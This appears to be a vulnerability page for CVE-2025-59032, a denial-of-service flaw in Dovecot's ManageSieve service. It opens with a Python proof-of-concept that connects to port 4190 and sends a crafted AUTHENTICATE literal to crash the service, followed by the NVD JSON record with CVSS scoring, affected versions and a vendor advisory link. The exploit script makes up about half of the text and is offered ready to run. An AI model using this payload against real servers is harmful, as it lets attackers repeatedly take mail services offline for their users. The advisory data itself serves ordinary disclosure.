CVE-2025-59032

import socket # Target configuration target_host = "192.168.1.10" target_port = 4190 # Default ManageSieve port # Craft the malicious payload # Using a literal as SASL initial response for AUTHENTICATE # This specific format triggers the parsing vulnerability payload = b'AUTHENTICATE "PLAIN" {10+}\r\nAAAAAAAAAA\r\n' try: # Establish TCP connection to ManageSieve service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_host, target_port)) # Receive server banner banner = s.recv(1024) print(f"[+] Banner: {banner.decode().strip()}") # Send the malicious payload print("[*] Sending malicious payload...") s.send(payload) # Attempt to receive response (Service might crash here) response = s.recv(1024) print(f"[+] Response: {response.decode().strip()}") except ConnectionResetError: print("[-] Connection reset by peer - Service likely crashed.") except socket.timeout: print("[-] Connection timed out - Service may be unresponsive.") except Exception as e: print(f"[-] Error: {e}") finally: s.close()

{"cve": {"id": "CVE-2025-59032", "sourceIdentifier": "[email protected]", "published": "2026-03-27T09:16:18.933", "lastModified": "2026-04-30T17:47:03.487", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ManageSieve AUTHENTICATE command crashes when using literal as SASL initial response. This can be used to crash ManageSieve service repeatedly, making it unavailable for other users. Control access to ManageSieve port, or disable the service if it's not needed. Alternatively upgrade to a fixed version. No publicly available exploits are known."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dovecot:dovecot:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.3", "matchCriteriaId": "BE209329-C5EA-4EE7-A23E-CD2EC061A9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:open-xchange:dovecot:*:*:*:*:pro:*:*:*", "versionEndExcluding": "3.1.3", "matchCriteriaId": "F42BE52D-7DCD-474A-A2C8-9670C15BC878"}]}]}], "references": [{"url": "https://documentation.open-xchange.com/dovecot/security/advisories/csaf/2026/oxdc-adv-2026-0001.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}